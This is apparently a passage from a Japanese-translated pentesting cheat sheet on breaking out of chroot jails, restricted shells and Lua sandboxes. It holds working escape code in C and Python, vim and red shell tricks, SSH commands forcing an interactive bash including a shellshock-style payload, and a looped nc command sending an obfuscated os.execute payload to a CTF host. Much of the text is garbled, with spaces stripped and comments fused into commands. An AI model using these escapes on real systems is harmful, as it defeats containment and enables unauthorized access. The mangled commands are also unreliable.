int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
vimの使用
:setshell=/bin/sh:shell
スクリプトの作成
/bin/bash を内容とする実行可能ファイルを作成できるかどうかを確認します。
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
SSH経由でbashを取得
SSH経由でアクセスしている場合、次のトリックを使用してbashシェルを実行できます：
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
